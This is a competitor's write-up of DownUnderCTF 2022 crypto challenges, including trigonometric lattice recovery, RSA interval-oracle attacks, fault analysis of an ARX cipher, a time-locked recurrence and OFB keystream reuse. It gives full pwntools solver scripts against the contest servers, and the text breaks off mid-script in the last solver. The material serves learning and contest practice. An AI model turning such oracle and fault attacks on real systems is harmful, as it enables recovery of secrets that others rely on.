DownUnderCTF 2022 Writeup

Mon Sep 26 2022

I participated DownUnderCTF 2022 by myself. The results were 17th/1407.

Here are my write-ups for all crypto challs except kyber. And, since there are many challs, I just paste the solver for the other category than crypto (because I'd like to refer in the future).

crypto

1337crypt v3

2 solves

1337crypt-v3.sage
from Crypto.Util.number import bytes_to_long

FLAG = open('./flag.txt', 'rb').read().strip()

D = 1337
R = RealField(D)

x = randint(1+3*3-7, (1*3*3-7)^(13*3+713+13+3*7+1-3+3-7))
alpha1 = randint(1-3*3-7, 1337*1337) + R(1+3*3-7)/randint(1+3-3-7, 1337*1337)
alpha2 = randint(1+3-3+7, 13*37*13*3+7) + R(-1+3*3-7)/randint(1+3*3*7, 1+337+13**37)
alpha3 = randint(1-3-3*7, 1+337*133*7) + R(1*3*3-7)/randint(1-3*3+7, 1*33**7+133*7)

beta1 = sin(alpha1 * x).n(D)
beta2 = cos(alpha2 * x).n(D)
beta3 = tan(alpha3 * x).n(D)

m = bytes_to_long(FLAG)
assert m.bit_length() <= x.bit_length()
while m.bit_length() != x.bit_length():
    m = (m << (-1+3*3-7)) | randint(13//37, 1337//1337)
c = x ^^ m 

print(f'{alpha1 = }')
print(f'{alpha2 = }')
print(f'{alpha3 = }')
print(f'{beta1 = }')
print(f'{beta2 = }')
print(f'{beta3 = }')
print(f'{c = }')

This chall is to find $x$ such that $\sin(\alpha_1 x) = \beta_1, \cos(\alpha_2 x) = \beta_2, \tan(\alpha_3 x) = \beta_3$ , where $\alpha_i, \beta_i$ are given.

Simple arithmetic shows that:

\begin{align*} \alpha_1 x - 2\pi k_1 &\simeq \arcsin(\beta_1) &\quad\mathrm{or}\quad& \pi - \arcsin(\beta_1) \\ \alpha_2 x - 2\pi k_2 &\simeq \arccos(\beta_2) &\quad\mathrm{or}\quad& -\arccos(\beta_2) \\ \alpha_3 x - 2\pi k_3 &\simeq \arctan(\beta_3) &\quad\mathrm{or}\quad& \arctan(\beta_3) - \pi \\ \end{align*}

where $k_i$ are integers. $\simeq$ means there exist numerical errors. The rhs of them has 8 patterns in total. This can be searched easily so it's assumed that the rhs of them are $\arcsin(\beta_1)$ , $\arccos(\beta_2)$ , $\arctan(\beta_3)$ , respectively in the following.

Those equations are linear with regard to $x$ and might be solved by LLL. But it didn't work as it is. Then I used the fact that the flag starts with DUCTF{ and it worked! Remark that the number of $c$ 's bits (=778) doesn't equal to one of $m$ 's bits (Consider the case that the first few bits are the same between $x$ and $m$ ).

I used rkm0959's inequality solver.

solve.sage
from itertools import product

from Crypto.Util.number import bytes_to_long, long_to_bytes

D = 1337
R = RealField(D)

alpha1 = R("382688.000003718840762957370928334219657048504840071252989018263226986883648629049352735765207269589923429068690707732585598417261371285342932900956113960156340065674727873827170594382319143476595475658327786062528588588365234789011569313613560380958047757353077898557461668048835816899156195030884972536360965559815694251787832696791756073796676100126068701864254874470530046373944314078415476327719123")
alpha2 = R("15637.0000000000000000000000000000000000000000073407249596755993494633815978948470725770595202532938111233270822656540006827548854086357909099305933838931019150313577619230563069886151776251889782046359224864632667394933146539407828208245853609735993739377148185083846731149980246713157043706328084023440946327661078130241672626606833808343709723838524304060402271919834105020805612169606358017694056416")
alpha3 = R("29275.0000000000640306760478159122361364268852615107016525704106080086895615545710184648549454761942179678623356595579867852707677349455538454994245696487465653543975651069930536590338519688676538350247199102639964709439110478379805687129967589534757115196430034251100020849966477333439686322641356763869580696872661554589116735439860643787761928921454825557808884297326088601658418898922938739996904201")
beta1 = R("0.965482350590597357930331336732328693322339578742073734517347983738107022900479878437240803728616183527740872166110419707555902612362293470627167159630511997241207746072653515847677991057240464634863174163959352186613630940970393483122090644984824146327516779925585782449367431713140436462716606231926544190865635435305068802789385561809037048381522369403391403353483514563964854636147009339110513969645")
beta2 = R("0.919312641039301449759543236755656153255910638284013829633241595979805444268967097520473755994266515165860135737385130077610933382052195648654916587723024832651148703456409500869252608520524821467862378804471336340455738379241087436118861027054778860623168210037730515076872812158198969896476202559290795561594850736319300877512941843333101776445598926887112185986310036903702305697813449195991705718975")
beta3 = R("1.14855387625795367637526700157484262696944920546403536701593427303031683808809632650237298251670835767655247021139590568460713791448489530488025769625130549491228701922532851244586550786881004979465956996142194848926889854866759317451072626109337018933249842757205735321771354730486331102478476183417508143532011641972415188172049143718997615501480006657475224101754862855024419523910721536847865397788")
c = int(410147178282597490563358436921011911559056890980471832437263575462278293391801513339176053095601892381120900128065883405261553740060812667421703330691706989818136170627205398268591784378546378294977003032555726944174387883621263676222)

base1 = arcsin(beta1).n(D)
base1_ = (R(pi) - base1).n(D)
base2 = arccos(beta2).n(D)
base2_ = -base2
base3 = arctan(beta3).n(D)
base3_ = base3 - R(pi)


# alpha1 * xlsb - k1 * R(2 * pi) == base1 - alpha1 * xmsb
# [base1 - alpha1 * xmsb, base2 - alpha2 * xmsb, base3 - alpha3 * xmsb, x] = [x, k1, k2, k3] * mat
b1, b2, b3 = [base1_, base2_, base3_]
b1, b2, b3 = [base1, base2, base3_ + R(2 * pi)]
N = 10 ** 500  # used for RealField var to integer
M = 2 ** 1122  # parameter indicating numerical error. get it by doing experiment
for k in range(4):  # parameter that indicates how many characters are the same between x and m
    for b1, b2, b3 in product([base1, base1_], [base2, base2_], [base3, base3_]):
        mat = matrix(ZZ, 4, 4)
        mat[0, 0] = int(alpha1 * N)
        mat[1, 0] = int(-R(2 * pi * N))
        mat[0, 1] = int(alpha2 * N)
        mat[2, 1] = int(-R(2 * pi * N))
        mat[0, 2] = int(alpha3 * N)
        mat[3, 2] = int(-R(2 * pi * N))
        mat[0, 3] = 1
        xmsb = ((bytes_to_long(b"DUCTF{") << (c.bit_length() + 1 + k - 47)) ^^ c)
        lb = [-M + int(b1 * N - alpha1 * xmsb * N), -M + int(b2 * N - alpha2 * xmsb * N), -M + int(b3 * N - alpha3 * xmsb * N)] + [3]
        ub = [M + int(b1 * N - alpha1 * xmsb * N), M + int(b2 * N - alpha2 * xmsb * N), M + int(b3 * N - alpha3 * xmsb * N)] + [(1*3*3-7)^(13*3+713+13+3*7+1-3+3-7) // 2**47]
        # https://github.com/rkm0959/Inequality_Solving_with_CVP/blob/main/solver.sage
        res = solve(mat, lb, ub)
        try:
            x_rec = xmsb + int(res[2][0])
            for i in range(8):
                tmp = long_to_bytes(int(c ^^ x_rec) >> i)
                if b"DUC" in tmp:
                    print(tmp)
        except:
            continue

DUCTF{1337_tr1g0n0m3try_4nd_l4tt1c3_sk1llz_1f8a84e9a9cdef57}

rsa interval oracle i-iv

rsa-interval-oracle-i.py
#!/usr/bin/env python3

import signal, time
from os import urandom, path
from Crypto.Util.number import getPrime, bytes_to_long


FLAG = open(path.join(path.dirname(__file__), 'flag.txt'), 'r').read().strip()

N_BITS = 384
TIMEOUT = 20 * 60
MAX_INTERVALS = 384
MAX_QUERIES = 384


def main():
    p, q = getPrime(N_BITS//2), getPrime(N_BITS//2)
    N = p * q
    e = 0x10001
    d = pow(e, -1, (p - 1) * (q - 1))

    secret = bytes_to_long(urandom(N_BITS//9))
    c = pow(secret, e, N)

    print(N)
    print(c)

    intervals = []
    queries_used = 0

    while True:
        print('1. Add interval\n2. Request oracle\n3. Get flag')
        choice = int(input('> '))

        if choice == 1:
            if len(intervals) >= MAX_INTERVALS:
                print('No more intervals allowed!')
                continue

            lower = int(input(f'Lower bound: '))
            upper = int(input(f'Upper bound: '))
            intervals.insert(0, (lower, upper))

        elif choice == 2:
            queries = input('queries: ')
            queries = [int(c.strip()) for c in queries.split(',')]
            queries_used += len(queries)
            if queries_used > MAX_QUERIES:
                print('No more queries allowed!')
                continue

            results = []
            for c in queries:
                m = pow(c, d, N)
                for i, (lower, upper) in enumerate(intervals):
                    in_interval = lower < m < upper
                    if in_interval:
                        results.append(i)
                        break
                else:
                    results.append(-1)

            print(','.join(map(str, results)), flush=True)

            time.sleep(MAX_INTERVALS * (MAX_QUERIES // N_BITS - 1))
        elif choice == 3:
            secret_guess = int(input('Enter secret: '))
            if secret == secret_guess:
                print(FLAG)
            else:
                print('Incorrect secret :(')
            exit()

        else:
            print('Invalid choice')


if __name__ == '__main__':
    signal.alarm(TIMEOUT)
    main()

The series of these challs are almost the same, except that MAX_INTERVALS and MAX_QUERIES are different.

rsa interval oracle i

79 solves

MAX_INTERVALS = 384
MAX_QUERIES = 384

We can find secret by binary search.

solve.py
from pwn import remote

io = remote("2022.ductf.dev", 30008)

N = int(io.recvline())
c = int(io.recvline())


def add_interval(lb: int, ub: int):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"Lower bound: ", str(lb).encode())
    io.sendlineafter(b"Upper bound: ", str(ub).encode())


def query():
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"queries: ", str(c).encode())
    return int(io.recvline())


lb = 0
ub = N
prev_mid = 0
while True:
    mid = (lb + ub) // 2
    if mid == prev_mid:
        break
    prev_mid = mid
    add_interval(lb, mid)
    prev_mid = mid
    if query() == 0:
        ub = mid
    else:
        lb = mid
    print(mid)


io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"Enter secret: ", str(mid).encode())
print(io.recvline().strip())

DUCTF{d1d_y0u_us3_b1n4ry_s34rch?}

yes.

rsa interval oracle ii

36 solves

MAX_INTERVALS = 1
MAX_QUERIES = 384

We can set only 1 interval, and can't use the same method as i.

Let $x$ be secret, which we want to find. I set interval to $(0, 2^{24} \times 256^{384 // 9})$ , whose upper bound is smaller than $N$ and bigger than secret. Let this upper bound be $u$ .

First I tried to find $k$ such that $xk < u$ and $x(k+1) \ge u$ . From this we can say that $u / (k+1) \le x < u / k$ .

Next I tried to find $l$ such that $xl < N$ and $x(l+1) \ge N$ , where $l > k$ . Accordingly $N / (l+1) \le x < N / l$ .

Similarly I found $l_i$ such that $x l_i < 2^i N < x(l_i + 1)$ . By gradually making $i$ bigger, we can narrow the range of $x$ .

That's not smart...

solve.py
from pwn import remote

io = remote("2022.ductf.dev", 30011)

e = 0x10001

N = int(io.recvline())
c = int(io.recvline())


def add_interval(lb: int, ub: int):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"Lower bound: ", str(lb).encode())
    io.sendlineafter(b"Upper bound: ", str(ub).encode())


def query(payload: int):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"queries: ", str(payload).encode())
    ret = io.recvline()
    try:
        return int(ret)
    except:
        return None


lb = 0
ub = 2 ** 24 * 256 ** (384 // 9)
add_interval(lb, ub)


def bisect(lb, ub, sig_lb):
    prev_mid = None
    while True:
        mid = (lb + ub) // 2
        if mid == prev_mid:
            break
        prev_mid = mid
        tmp = query(int(pow(mid, e, N) * c))
        if tmp is None:
            return lb, ub
        elif tmp == 0:
            if sig_lb == 1:
                lb = mid
            else:
                ub = mid
        else:
            if sig_lb == 1:
                ub = mid
            else:
                lb = mid
        print(lb, ub, mid)
    return mid

thres0 = bisect(0, 2 ** 30, 1)
# ub // (thres0 + 1) < secret < ub // thres0
secret_lb = ub // (thres0 + 1)
secret_ub = ub // thres0
thres1 = bisect(N // secret_ub, N // secret_lb, -1)
# secret * thres1 < N < secret * (thres1 + 1)
secret_lb = max(secret_lb, N // (thres1 + 1))
secret_ub = min(secret_ub, N // thres1)

for j in range(20, 280, 20):
    i = 2**j
    thres = bisect(i * N // secret_ub, i * N // secret_lb, -1)
    # secret * thres < i * N < secret * (thres + 10)
    secret_lb = max(secret_lb, i * N // (thres + 10))
    secret_ub = min(secret_ub, i * N // thres)

i = 2**280
thres = bisect(i * N // secret_ub, i * N // secret_lb, -1)
# secret * thres < i * N < secret * (thres + 10)  # I don't know why thres + ''10''
secret_lb = max(secret_lb, i * N // (thres[1] + 10))
secret_ub = min(secret_ub, i * N // thres[0])

for i in range(secret_lb, secret_ub + 1):
    if pow(i, e, N) == c:
        print(i)
        io.sendlineafter(b"> ", b"3")
        io.sendlineafter(b"Enter secret: ", str(i).encode())
        print(io.recvline().strip())
        break

DUCTF{Manger_w0uld_b3_pr0ud_0f_y0u}

manger...? I don't know...

rsa interval oracle iii

23 solves

MAX_INTERVALS = 4
MAX_QUERIES = 4700

It seems to be easier than ii, but time.sleep(MAX_INTERVALS * (MAX_QUERIES // N_BITS - 1)) prevents me from using the same method as ii. I used the same solver as iv, I skipped explanation here.

DUCTF{rsa_1nt3rv4l_0r4cl3_1s_n0_m4tch_f0r_y0u!}

rsa interval oracle iv

5 solves

MAX_INTERVALS = 4
MAX_QUERIES = 4700

This is the same as iii, but intervals are fixed:

intervals = [(0, 2**(N_BITS - 11)), (0, 2**(N_BITS - 10)), (0, 2**(N_BITS - 9)), (0, 2**(N_BITS - 8))]

It seems that batched queries are required. So I sent query like $2^{r_i e} c$ for many $r_i$ , where $r_i$ is generated randomly. This query shows which interval contains or doesn't contain $2^{r_i} x \mod N$ . When $2^{r_i} x$ is in one of intervals, intervals[j][0] $< 2^{r_i} x - k_i N <$ intervals[j][1], where intervals[j][k] is relatively smaller than $N$ . This type of equation might be solved by LLL as you know. My experiments showed that we need over around 50 numbers which are in one of intervals. All I could do was pray... I got the flag by a few trial.

I used rkm0959's inequality solver.

solve.py
from collections import Counter
from pwn import remote

N_BITS = 384

io = remote("2022.ductf.dev", 30030)

e = 0x10001

N = int(io.recvline())
c = int(io.recvline())


def add_interval(lb: int, ub: int):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"Lower bound: ", str(lb).encode())
    io.sendlineafter(b"Upper bound: ", str(ub).encode())


def query(payload: list[int]):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"queries: ", ",".join(map(str, payload)).encode())
    ret = io.recvline().decode().strip()
    try:
        return list(map(int, ret.split(",")))
    except:
        return None

intervals = [(0, 2**(N_BITS - 11)), (0, 2**(N_BITS - 10)), (0, 2**(N_BITS - 9)), (0, 2**(N_BITS - 8))]

inp_list = [int(pow(2, randint(0, N - 1), N)) for _ in range(4700)]
ret = query([pow(inp, e, N) * c for inp in inp_list])

# 2 ** i * secret - ki * N
# [k1, k2, ..., kM, secret] * mat
cnt = Counter(ret)
M = cnt[0] + cnt[1] + cnt[2] + cnt[3]
mat = matrix(ZZ, M+1, M+1)
for i in range(M):
    mat[i, i] = -N
mat[M, M] = 1
idx = 0
lb = []
ub = []
for i, b in enumerate(ret):
    if b != -1:
        mat[M, idx] = inp_list[i]
        idx += 1
        if b == 0:
            lb.append(0)
            ub.append(2**(N_BITS - 11))
        elif b == 1:
            lb.append(2**(N_BITS - 11))
            ub.append(2**(N_BITS - 10))
        elif b == 2:
            lb.append(2**(N_BITS - 10))
            ub.append(2**(N_BITS - 9))
        elif b == 3:
            lb.append(2**(N_BITS - 9))
            ub.append(2**(N_BITS - 8))
        else:
            raise RuntimeError()
lb.append(256**41)
ub.append(256**42)

# https://github.com/rkm0959/Inequality_Solving_with_CVP/blob/main/solver.sage
res = solve(mat, lb, ub)

secret_rec = int(res[2][-1])
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"Enter secret: ", str(secret_rec).encode())
print(io.recvline().strip())

io.close()

DUCTF{rsa_1nt3rv4l_0r4cl3_1s_s3ri0usly_n0_m4tch_f0r_y0u...94b2a797eb5e0105}

faulty arx

11 solves

faulty_arx.py
#!/usr/bin/env python3

import os
import signal
import random


FLAG = open(os.path.join(os.path.dirname(__file__), 'flag.txt'), 'r').read().strip()


def rol(x, d):
    return ((x << d) | (x >> (32 - d))) & 0xffffffff

def bytes_to_words(B):
    return [int.from_bytes(B[i:i+4], 'little') for i in range(0, len(B), 4)]

def words_to_bytes(W):
    return b''.join([w.to_bytes(4, 'little') for w in W])

class faulty_arx:
    def __init__(self, key, nonce):
        self.ROUNDS = 20
        self.counter = 0
        self.f = 0
        self.key = key
        self.nonce = nonce

    def _init_state(self, key, nonce, counter):
        state = bytes_to_words(b'downunderctf2022')
        state += bytes_to_words(key)
        state += [counter] + bytes_to_words(nonce)
        return state

    def _QR(self, S, a, b, c, d):
        S[a] = (S[a] + S[b]) & 0xffffffff; S[d] ^= S[a]; S[d] = rol(S[d], 16)
        S[c] = (S[c] + S[d]) & 0xffffffff; S[b] ^= S[c]; S[b] = rol(S[b], 12 ^ self.f)
        S[a] = (S[a] + S[b]) & 0xffffffff; S[d] ^= S[a]; S[d] = rol(S[d], 8)
        S[c] = (S[c] + S[d]) & 0xffffffff; S[b] ^= S[c]; S[b] = rol(S[b], 7)

    def block(self):
        initial_state = self._init_state(self.key, self.nonce, self.counter)
        state = initial_state.copy()
        for r in range(0, self.ROUNDS, 2):
            self._QR(state, 0, 4, 8, 12)
            self._QR(state, 1, 5, 9, 13)
            self._QR(state, 2, 6, 10, 14)
            self._QR(state, 3, 7, 11, 15)

            x = 0
            if r == self.ROUNDS - 2:
                x = random.randint(0, 4)

            if x == 1:
                self.f = 1
            self._QR(state, 0, 5, 10, 15)
            self.f = 0

            if x == 2:
                self.f = 1
            self._QR(state, 1, 6, 11, 12)
            self.f = 0

            if x == 3:
                self.f = 1
            self._QR(state, 2, 7, 8, 13)
            self.f = 0

            if x == 4:
                self.f = 1
            self._QR(state, 3, 4, 9, 14)
            self.f = 0

        out = [(i + s) & 0xffffffff for i, s in zip(initial_state, state)]
        self.counter += 1
        return words_to_bytes(out)

    def stream(self, length):
        out = bytearray()
        while length > 0:
            block = self.block()
            t = min(length, len(block))
            out += block[:t]
            length -= t
        return out


def main():
    key = os.urandom(16).hex().encode()
    nonce = os.urandom(12)
    print(nonce.hex())
    out = set()
    for _ in range(20):
        cipher = faulty_arx(key, nonce)
        out.add(cipher.stream(64).hex())
    for c in out:
        print(c)
    key_guess = input('key> ')
    if key_guess == key.decode():
        print(FLAG)
    else:
        print('Incorrect key!')


if __name__ == '__main__':
    signal.alarm(180)
    main()

We are given 5 outputs. One of them is correct one ( $x = 0$ ) and the others contain error in faulty_arx._QR calculation.

First we need to reveal which output is calculated from what $x$ . Since args of last 4 faulty_arx._QR call are independent and different S[b] causes different S[a] in ._QR, we can distinguish them by only seeing S[0], S[1], S[2], S[3].

Here consider ._QR funciton. Remark that we know the final S[a] and S[d], because we know initial_state[:4] and initial_state[12: 16]. I paid attention to the following:

S[b] = rol(S[b], 12 ^ self.f)
S[a] = (S[a] + S[b])
# S[a] won't change hereafter

This can be described as:

\begin{align*} x + \mathrm{rol}(y, 12) &= S_a \\ x + \mathrm{rol}(y, 13) &= S_a' \end{align*}

where $x$ is the previous S[b] and $S_a, S_a'$ are the final S[a] and faulted S[a], respectively. Since we know $S_a, S_a'$ , we can find $x, y$ .

Next I focused on the following:

S[b] ^= S[c]
S[b] = rol(S[b], 7)
# S[b], S[c] won't change hereafter

This can be described as:

\begin{align*} S_b &= \mathrm{rol}(\mathrm{rol}(y, 12) \oplus S_c, 7) \\ S_b' &= \mathrm{rol}(\mathrm{rol}(y, 12) \oplus S_c, 7) \\ \end{align*}

Note that $S_c$ is not affected by self.f.

The fact that key consists of [0-9a-f] narrows the candidate of $S_c'$ . There are $16^4$ patterns. For each $S_c$ , I calculated $S_b, S_b'$ and check whether there are any inconsistencies about that fact again. The number of the candidates are diminished to around 16.

I used the above for each $a, b, c, d$ and then found the correct key by full search.

(However, the solver often fails to work... I don't know why...)

solve.py
import random
from binascii import unhexlify
from collections import Counter
from itertools import product

from pwn import remote
from z3 import *


def rol(x, d):
    return ((x << d) | (x >> (32 - d))) & 0xffffffff

def rol_z3(x, d):
    return ((x << d) | (LShR(x, 32 - d))) & 0xffffffff

def bytes_to_words(B):
    return [int.from_bytes(B[i:i+4], 'little') for i in range(0, len(B), 4)]

def words_to_bytes(W):
    return b''.join([w.to_bytes(4, 'little') for w in W])



class faulty_arx:
    def __init__(self, key, nonce):
        self.ROUNDS = 20
        self.counter = 0
        self.f = 0
        self.key = key
        self.nonce = nonce

    def _init_state(self, key, nonce, counter):
        state = bytes_to_words(b'downunderctf2022')
        state += bytes_to_words(key)
        state += [counter] + bytes_to_words(nonce)
        return state

    def _QR(self, S, a, b, c, d):
        S[a] = (S[a] + S[b]) & 0xffffffff; S[d] ^= S[a]; S[d] = rol(S[d], 16)
        S[c] = (S[c] + S[d]) & 0xffffffff; S[b] ^= S[c]; S[b] = rol(S[b], 12 ^ self.f)
        S[a] = (S[a] + S[b]) & 0xffffffff; S[d] ^= S[a]; S[d] = rol(S[d], 8)
        S[c] = (S[c] + S[d]) & 0xffffffff; S[b] ^= S[c]; S[b] = rol(S[b], 7)

    def block(self, x=None):
        initial_state = self._init_state(self.key, self.nonce, self.counter)
        state = initial_state.copy()
        for r in range(0, self.ROUNDS, 2):
            self._QR(state, 0, 4, 8, 12)
            self._QR(state, 1, 5, 9, 13)
            self._QR(state, 2, 6, 10, 14)
            self._QR(state, 3, 7, 11, 15)

            if x is None:
                x = 0
                if r == self.ROUNDS - 2:
                    x = random.randint(0, 4)

            if x == 1:
                self.f = 1
            self._QR(state, 0, 5, 10, 15)
            self.f = 0

            if x == 2:
                self.f = 1
            self._QR(state, 1, 6, 11, 12)
            self.f = 0

            if x == 3:
                self.f = 1
            self._QR(state, 2, 7, 8, 13)
            self.f = 0

            if x == 4:
                self.f = 1
            self._QR(state, 3, 4, 9, 14)
            self.f = 0

        out = [(i + s) & 0xffffffff for i, s in zip(initial_state, state)]
        self.counter += 1
        return words_to_bytes(out)

    def stream(self, length, x=None):
        out = bytearray()
        while length > 0:
            block = self.block(x=x)
            t = min(length, len(block))
            out += block[:t]
            length -= t
        return out


valid_chars = [0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66]

io = remote("2022.ductf.dev", 30007)
nonce = unhexlify(io.recvline().strip().decode())
enc_list = []
for _ in range(5):
    enc_list.append(bytes_to_words(unhexlify(io.recvline().strip().decode())))

# words の...
# [0] が異なる: x = 1
# [1] が異なる: x = 2
# [2] が異なる: x = 3
# [3] が異なる: x = 4
initial_state = bytes_to_words(b'downunderctf2022') + [None] * 8 + [0] + bytes_to_words(nonce)
cnt = Counter(enc[0] for enc in enc_list)
enc1 = list(filter(lambda x: x[0] == cnt.most_common()[1][0], enc_list))[0]
cnt = Counter(enc[1] for enc in enc_list)
enc2 = list(filter(lambda x: x[1] == cnt.most_common()[1][0], enc_list))[0]
cnt = Counter(enc[2] for enc in enc_list)
enc3 = list(filter(lambda x: x[2] == cnt.most_common()[1][0], enc_list))[0]
cnt = Counter(enc[3] for enc in enc_list)
enc4 = list(filter(lambda x: x[3] == cnt.most_common()[1][0], enc_list))[0]
enc0 = list(filter(lambda x: x not in [enc1, enc2, enc3, enc4], enc_list))[0]


def enumerate_cands(enc, enc_fault, a, b, c, d):
    assert 0 <= a < 4
    assert 12 <= d < 16
    sa_fault = (enc_fault[a] - initial_state[a]) & 0xffffffff
    sa = (enc[a] - initial_state[a]) & 0xffffffff
    diff = (sa_fault - sa) & 0xffffffff

    # Though there are multiple solutions, I picked one of them.
    sb12 = BitVec("sb", 32)
    s = Solver()
    s.add((rol_z3(sb12, 1) - sb12) & 0xffffffff == diff)
    s.check()
    m = s.model()
    sb12 = m[sb12].as_long()

    cands = []
    for ns in product(valid_chars, repeat=4):
        keyc = ns[0] * 256**0 + ns[1] * 256**1 + ns[2] * 256**2 + ns[3] * 256**3
        sc_last = (enc[c] - keyc) & 0xffffffff
        sc_last_fault = (enc_fault[c] - keyc) & 0xffffffff
        sb_last = rol(sb12 ^ sc_last, 7)
        sb_last_fault = rol(rol(sb12, 1) ^ sc_last_fault, 7)
        tmp = (enc[b] - sb_last) & 0xffffffff
        tmp_fault = (enc_fault[b] - sb_last_fault) & 0xffffffff
        valid = True
        for i in range(0, 32, 8):
            if (tmp >> i) & 0xff not in valid_chars:
                valid = False
        if tmp != tmp_fault:
            valid = False
        if valid:
            cands.append((tmp, keyc))
    return cands


key05_list = enumerate_cands(enc0, enc4, 3, 4, 9, 14)
key34_list = enumerate_cands(enc0, enc3, 2, 7, 8, 13)
key27_list = enumerate_cands(enc0, enc2, 1, 6, 11, 12)
key16_list = enumerate_cands(enc0, enc1, 0, 5, 10, 15)

for key05, key34, key27, key16 in product(key05_list, key34_list, key27_list, key16_list):
    key0, key5 = key05
    key3, key4 = key34
    key2, key7 = key27
    key1, key6 = key16
    tmp_key = words_to_bytes([key0, key1, key2, key3, key4, key5, key6, key7])
    cipher = faulty_arx(tmp_key, nonce)
    if bytes_to_words(cipher.stream(64, x=0)) == enc0:
        print("found!")
        io.sendlineafter(b"key> ", tmp_key)
        print(io.recvline().strip())
        break
io.close()

DUCTF{las3r_b34ms_4nd_g4mm4_r4ys_p0s3_a_s3r10us_thr34t_t0_cryp70gr4phy!1!!}

time locked

18 solves

time-locked.py
from hashlib import sha256
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES


ct = bytes.fromhex('85534f055c72f11369903af5a8ac64e2f4cbf27759803041083d0417b5f0aaeac0490f018b117dd4376edd6b1c15ba02')


p = 275344354044844896633734474527970577743
a = [2367876727, 2244612523, 2917227559, 2575298459, 3408491237, 3106829771, 3453352037]
α = [843080574448125383364376261369231843, 1039408776321575817285200998271834893, 712968634774716283037350592580404447, 1166166982652236924913773279075312777, 718531329791776442172712265596025287, 766989326986683912901762053647270531, 985639176179141999067719753673114239]


def f(n):
    if n < len(α):
        return α[n]

    n -= len(α) - 1
    t = α[::-1]
    while n > 0:
        x = sum([a_ * f_ for a_, f_ in zip(a, t)]) % p
        t = [x] + t[:-1]
        n -= 1

    return t[0]


n = 2**(2**1337)
key = sha256(str(f(n)).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
flag = unpad(aes.decrypt(ct), 16)
print(flag.decode())

f(n) is just a linear calculation. This can be described by a matrix $M$ as follows:

t_n = M^n t_0

where

M = \left( \begin{array}{ccccc} a_0 & a_1 & \cdots & a_5 & a_6 \\ 1 & 0 & \cdots & 0 & 0 \\ \vdots & \vdots & \ddots & \vdots & \vdots\\ 0 & 0 & \cdots & 0 & 0 \\ 0 & 0 & \cdots & 1 & 0 \\ \end{array} \right)

sagemath can calculate the multiplicative order of $M$ by M.multiplicative_order(). So all we need is calculate n = pow(2, 2**1337, order) and f(n)

solve.sage
from hashlib import sha256

from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES


ct = bytes.fromhex('85534f055c72f11369903af5a8ac64e2f4cbf27759803041083d0417b5f0aaeac0490f018b117dd4376edd6b1c15ba02')


p = 275344354044844896633734474527970577743
a = [2367876727, 2244612523, 2917227559, 2575298459, 3408491237, 3106829771, 3453352037]
alpha = [843080574448125383364376261369231843, 1039408776321575817285200998271834893, 712968634774716283037350592580404447, 1166166982652236924913773279075312777, 718531329791776442172712265596025287, 766989326986683912901762053647270531, 985639176179141999067719753673114239]


mat = matrix(GF(p), 7, 7)
for i in range(7):
    mat[0, i] = a[i]
for i in range(6):
    mat[i+1, i] = 1
t = vector(GF(p), alpha[::-1])

order = mat.multiplicative_order()

n = int(pow(2, 2**1337, order))
fn = (mat ** (n - 6) * t)[0]
key = sha256(str(fn).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
flag = unpad(aes.decrypt(ct), 16)
print(flag.decode())

DUCTF{p4y_t0_w1n_91ea0a7b4b688fc8}

cheap ring theory

101 solves

crt.sage
p = 55899879511190230528616866117179357211
V = GF(p)^3
R.<x> = PolynomialRing(GF(p))
f = x^3 + 36174005300402816514311230770140802253*x^2 + 35632245244482815363927956306821829684*x + 10704085182912790916669912997954900147
Q = R.quotient(f)

def V_pow(A, n):
    return V([a^n for a in list(A)])

n, m = randint(1, p), randint(1, p)
A = Q.random_element()
B = Q.random_element()
C = A^n * B^m

print(' '.join(map(str, list(A))))
print(' '.join(map(str, list(B))))
print(' '.join(map(str, list(C))))

phi_A = V(list(map(int, input().split())))
phi_B = V(list(map(int, input().split())))
phi_C = V(list(map(int, input().split())))

check_phi_C = V_pow(phi_A, n).pairwise_product(V_pow(phi_B, m))

if phi_C == check_phi_C:
    print(open('./flag.txt', 'r').read().strip())

When all inputs are 0, phi_C == check_phi_C...

DUCTF{CRT_e4sy_as_0ne_tw0_thr3e}

oracle for block cipher enthusiasts

102 solves

ofb.py
#!/usr/bin/env python3

from os import urandom, path
from Crypto.Cipher import AES


FLAG = open(path.join(path.dirname(__file__), 'flag.txt'), 'r').read().strip()
MESSAGE = f'Decrypt this... {urandom(300).hex()} {FLAG}'


def main():
    key = urandom(16)
    for _ in range(2):
        iv = bytes.fromhex(input('iv: '))
        aes = AES.new(key, iv=iv, mode=AES.MODE_OFB)
        ct = aes.encrypt(MESSAGE.encode())
        print(ct.hex())


if __name__ == '__main__':
    main()

We can encrypt MESSAGE 2 times for different iv.

I sent iv as 0000.... Since we know the first 16 bytes of MESSAGE, we can find AES(iv) by xor of plaintext and ciphertext (see wikipedia). Next I sent iv as AES(0000...), which is found now.

In general, OFB mode encrypt i-th block of MESSAGE ( $=m_i$ ) like:

m_i \oplus \mathrm{AES}^{i+1}(\mathrm{iv}) = c^{(0)}_i

where $c^{(0)}_i$ is i-th block of given ciphertext. In the situation, we also have

m_i \oplus \mathrm{AES}^{i+2}(\mathrm{iv}) = c^{(1)}_i

Using these equations $m_{i+1} = c^{(0)}_{i+1} \oplus \mathrm{AES}^{i+2} = c^{(0)}_{i+1} \oplus c^{(1)}_i \oplus m_i$ . This reveals all $m_i$ from $m_0$ .

solve.py
from os import urandom, path
from Crypto.Cipher import AES

from pwn import remote, unhex, xor


io = remote("2022.ductf.dev", 30009)
iv1 = "00" * 16
io.sendlineafter(b"iv: ", iv1.encode())
ct1 = unhex(io.recvline().strip().decode())
iv2 = xor(b"Decrypt this... ", ct1[:16]).hex()
io.sendlineafter(b"iv: ", iv2.encode())
ct2 = unhex(io.recvline().strip().decode())

dec = b"Decrypt this... "
for i in range(16, len(ct1), 16):
